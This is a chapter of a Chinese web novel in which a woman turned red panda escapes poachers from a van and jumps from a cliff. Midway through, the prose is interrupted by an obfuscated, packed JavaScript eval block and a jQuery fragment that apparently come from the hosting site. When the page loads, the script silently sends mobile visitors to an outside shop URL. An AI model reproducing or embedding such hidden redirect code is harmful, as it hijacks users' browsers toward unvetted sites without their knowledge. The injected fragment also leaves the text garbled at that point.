文趣网 > 都市小说 > 糟糕,变成了小熊猫! > 2. 糟糕,盗猎团伙!
    这是一个特制的捕兽笼。

    狭窄,冰冷,铁栏杆上锈迹斑斑,似乎夹杂着血腥,其间还散乱着其他动物留下的气味。

    春椿能从中嗅到那些动物们残存的惊恐和慌张。

    情况不妙。

    视野昏暗受阻,时而感觉颠簸,似乎是正在行进之中。这个笼子不像是被人拿在手里,更像是……在车上。

    耸动圆溜溜的小鼻子,春椿嗅闻着周遭的一切。

    她又闻到了几缕复杂的气息。

    老旧面包车的皮革味,发臭的劣质烟草味,隔夜功能饮料的甜腻味。

    ……还有隐约的臭脚丫子味。

    哕。

    春椿的脸皱成一团。

    但春椿也从气味中认出了他们。他们正是在春椿失去意识前,在密林里感知到的那两个“危险”分子。

    现下,自己应当是落到了这些人的手中。

    正在春椿小心诊断当下处境之时,面包车突然剧烈颠簸了一下,震得车前座的两个人纷纷叫唤了几声。

    “我*!”

    爆粗口那个男人声音低沉,位置在左前方,应当是开车的那个。

    坐在副驾驶的那个声音要更尖细些。春椿回忆起那个喊“动手”的声音,应当正是此人。

    面包车经过了一段路况很差的小坡道,粗嗓子和尖嗓子骂骂咧咧了一路。

    不规则的抖动让春椿也感觉胃里翻江倒海,难受不已。

    但运气不错,方才抖动那几下,也把笼子震起,在空中微小地变换了几个方位,笼子上盖着的遮光布也滑落下来。

    春椿的视野一下子清晰了。

    出于谨慎,她还是亮出尖锐的爪子,偷偷把那遮光布扒拉回来一些,掩盖住自己的身形,方便后续的动作。

    棕褐色的小眼睛从布帘和笼子的缝隙中透出来,小心地观察着车前座二人的对话。

    尖嗓子:“这次弄了几个?”

    粗嗓子:“没几个,差得远呢。”

    尖嗓子:“你还知道差得远?下那么大剂量的药,别把手上唯一这个都整死了。”

    春椿下意识瑟缩了一下。

    果然,她蹊跷的昏迷是药物所致。

    粗嗓子被指责,没好气地回呛:“……这不是来不及换小剂量针了吗?没事,麻醉而已,顶多就是睡久点。”

    看来这二人一时半会还不会发现春椿已经醒来了。

    面包车的发动机嗡鸣着,吵人得很,尖嗓子也嘟嘟囔囔地不住抱怨着:“这鬼山,看着唬人,谁晓得这么鸟不拉屎……还好临走前抓到了这个玩意。”

    麻醉针,捕兽笼。

    二人有关“弄几个”“抓几个”的对话。

    春椿的心沉下去。

    盗猎团伙。

    她脑海里浮现起这四个字。

    这可真是天崩开局。

    春椿感觉到自己的处境是前所未有的险峻。她之前看过一些纪录片,有些盗猎团伙对小熊猫的非法捕杀很是疯狂,他们尤其喜欢剥下小熊猫完整的皮,制作成帽子和皮包,或者用于收藏,满足他们变态的欲望。

    必须逃离!

    警报声已然在春椿脑海里拉响了。

    前座两个人短暂的讨论很快就结束,似乎是在长途行车的过程中也产生了困倦。

    听不到更多有效的信息,春椿开始尝试着观察周边环境。

    车窗外的风景并不开阔,道路旁的护栏时不时也有残缺,他们还未驶离这座深山。

    自春椿醒来,车子大概已经行驶了一公里,但路途的景致差别不大。这里实在荒凉,甚至于原始,人迹罕至。

    这让春椿的心凉了半截。

    她转而在车内找寻。

    这辆车看起来很陈旧,后座的皮靠背上还有许多不同尺寸的爪子抓挠留下的破碎痕迹。车座下边散落着一些工具,有麻绳、扳手、千斤顶。

    春椿看了看自己毛茸茸的大爪子。

    她现在的状态,似乎也不能灵活地使用这些人类工具。

    不过,在杂乱的工具堆中,有一个小小的箱子吸引了春椿的视线。

    暗银色金属质地的箱子,锁扣是打开的,箱盖虚虚合上,露出里面一排整齐的圆管针剂筒。

    咦?

    车厢里昏暗,显得针管上刻印的标识格外清晰。

    冷光一闪而过,春椿认出了那个标记。

    衔尾蛇。

    同样是亮银色的标记,很显眼,在正中间,像是个logo。

    春椿谨慎地记下了这个符号,她直觉性地觉得,这个衔尾蛇符号应当是个重要的线索。

    她试探着向那个箱子伸爪,可惜距离稍有些远,就差两爪距离。

    “不行了,憋死老子了,停车,放水!”

    是尖嗓子的声音。

    粗嗓子闷哼一声算作回应,车子一下急停。

    这一急停,不仅把车座底下存放针管的箱子颠近了些,就连关着春椿的笼子也被颠簸得锁扣震开了。

    运气不错。春椿暗道。

    车门打开,尖嗓子一下车就开始解裤子,露出半拉屁股。

    粗嗓子坐在主驾驶抽烟,看着窗外发呆。

    两个人的注意力都不在车内,春椿亮出了爪子。

    ——好机会!

    就是现在。

    笼子的锁扣早已被雪亮的小爪子悄无声息地扒开,再也困不住春椿。

    “嗖”一声,红棕色的小身影飞速地从后座窜出去,像一颗原地发射的导弹,一下子就撞到副驾驶的位置。

    灵巧地避开所有障碍,连饮料瓶都没有碰到。除去落在副驾驶座位时发出的一阵敦实的“啪叽”声之外,一切都是那么完美。

    “*的,这小玩意要跑!”

    粗嗓子烟还没掐,下意识伸手去抓。

    安全带制住了他的动作,但他个子高大,胳膊长,也见着就快抓住春椿的尾巴根——

    “咔”。

    弹簧卡扣触发,针头迅速刺入皮肤。

    粗嗓子发出一声闷响。

    他一惊,只见眼前的这只野生小熊猫正目光炯炯如炬地盯着自己。

    嘴里咬着一支他再熟悉不过的针管。

    “该死……”粗嗓子眼里闪过一抹异色,他万没有想到这个结果。

    动物能这么通人性?

    这聪明得也太过分了,就算是运气碰巧,那也吓人得夸张。

    来不及等粗嗓子多想,黑暗一瞬间侵占了他的视线。

    他倒在了方向盘上。

    外头的尖嗓子刚解过手,提溜着裤腰带正往回走,正好赶上了眼前这奇诡的一幕。

    “等等,喂,站住!别跑!”

    别跑?不跑是傻子!

    春椿一刻都没有留恋,弹簧一样蹦出了面包车,往道路另一侧的丛林里窜去。

    不好意思,小熊猫是听不懂人话的,先溜为敬。

    这里的山林完全没经过开发,灌木密集,乱木横枝,很是难走。

    尖嗓子还在后面追赶不停,春椿几乎是凭借着小熊猫的本能在尝试着攀爬、跳跃,翻过重重阻碍。

    然而,或许是身体里残留的药效还没有消散,又或许是春椿对于身体的掌控还不熟悉。

    这一路上,她几乎是连滚带爬,暖橘色的毛毛上蒙了一层灰,头顶也乱糟糟地插上了几片树叶,好不狼狈。

    最让春椿尴尬的是……她的尾巴。

    “嗷!”

    又一次顺拐,这下结结实实地踩到了自己的尾巴,春椿发出一声痛苦的哀鸣。

    痛痛痛痛痛!

    这尾巴跟着她,可真是受了大罪了。

    本就不太会控制这条毛茸茸的大尾巴,一路上任由它拖在地上,被树枝剐蹭,又被尖石摩擦。

    感觉……感觉尾巴要断了。

    尾巴尖上的毛毛简直是在一撮一撮地掉啊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768602|209834||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !

    危急存亡的关头,春椿也管不了那么多了。

    她一狠心,用爪爪扒拉过自己的长尾巴,塞进嘴里。

    她就这么叼着自己的尾巴尖,收紧核心,一跃而上。

    这姿态,活像个下定决心执行暗杀任务的小熊猫刺客。

    春椿跳上了一棵矮树,书上开满了海棠花,遮蔽住她的身形。

    这一紧急上树,也短暂地避开了尖嗓子的抓捕。

    尖嗓子已经追了春椿小半个山头,他们现如今,已经几乎走到这座矮山的断崖口了。

    蹲在树枝上,春椿余光几乎能看到断崖之下的景象。

    ——有人!

    山下有人!

    人影云集,熙熙攘攘的,一颗颗脑袋就像一个个黑点点团在一起。排列还算整齐,就像是在进行某种集会。

    隐约还有话筒调试的声音传来。

    求救,她要求救!

    可是……

    春椿扒紧了海棠花树枝,朝下看了看,吞了吞口水。

    好好好好好高啊!!!

    这要怎么下去?

    跳下去,她今天就可以投胎了。

    这下别说做回人了,小熊猫也做不成了。

    叫唤两声?不行不行,先不说春椿自己那尖细的叫声能不能盖过山地下的话筒音响声,就说她现在嚎句,最先引来的,肯定是追捕她的那个尖嗓子。

    真是进退两难。

    “找到你了,小东西。”

    尖嗓子不仅是嗓子尖,眼睛也挺尖,发现了藏在海棠花中的春椿。

    “该死的,追死老子了。让老子……唔,长得还挺可爱……我呸,咋回事!你等着,老子这就把你搞下来。”

    春椿:……

    夹在中间的那句夸赞是什么意思啊喂!

    可恶的愿望神,这个时候就不要给她发挥什么人见人爱之力了啊!

    单走人见人爱这张牌,又不给她配备什么自保的力量,这可是死局。

    就如同现在——

    尖嗓子虽然不会爬树,但他力气大。

    抱住海棠花树干,尖嗓子死命地摇晃着,时不时踹上两脚。

    不算粗壮的花树经不起他这样的摧折,摇晃间难以再承受春椿的重量。

    混乱中,春椿跌了下来,卷起一地粉红色的落花。

    “看你往哪跑——”

    尖嗓子的手掌袭来。

    春椿的喉间发出细小沉闷的声响。

    野兽的血脉在她体内被缓慢激活。

    她咬了上去。

    尖嗓子:……

    春椿:……

    啊。

    小熊猫的咬合力,这么差的吗?

    春椿清晰地在尖嗓子的脸上看出了三个字,“好可爱”。

    他,他在憋笑!!

    真是气死小熊猫了。

    春椿亮出了爪子。

    牙口不行,爪子来凑!

    几爪下去,尖嗓子的胳膊肘和小腿上都渗出了血痕。

    “嘶!”他吃痛,下意识松开手。

    春椿抓住机会,扭头就跑。

    眼前就是断崖,但是尖嗓子的穷追不舍也让春椿发怵。

    前有狼,后有虎,当机立断,二者择其一。

    春椿瞄准断崖边斜斜生长盘绕的藤蔓,咬了咬牙,狠下了心。

    她纵身跃去。

    在空中停滞时,不知是不是春椿的错觉,她好像听到了山底下人群中响起的一阵惊呼声。

    底下的人们似乎发觉了她的存在,正在齐齐地抬头看去。

    空中飞跃带来的刺激感太强,入眼的画面似乎都有了子弹时间般的顿涩和停滞。

    纷乱景象中,那一张张或是惊疑或是讶异的脸庞不停在眼前滚动,某一瞬,春椿似乎——

    看见了一个格外熟悉的男人。

    模糊的照片,尘封的记忆,悸动的情愫,想念的人。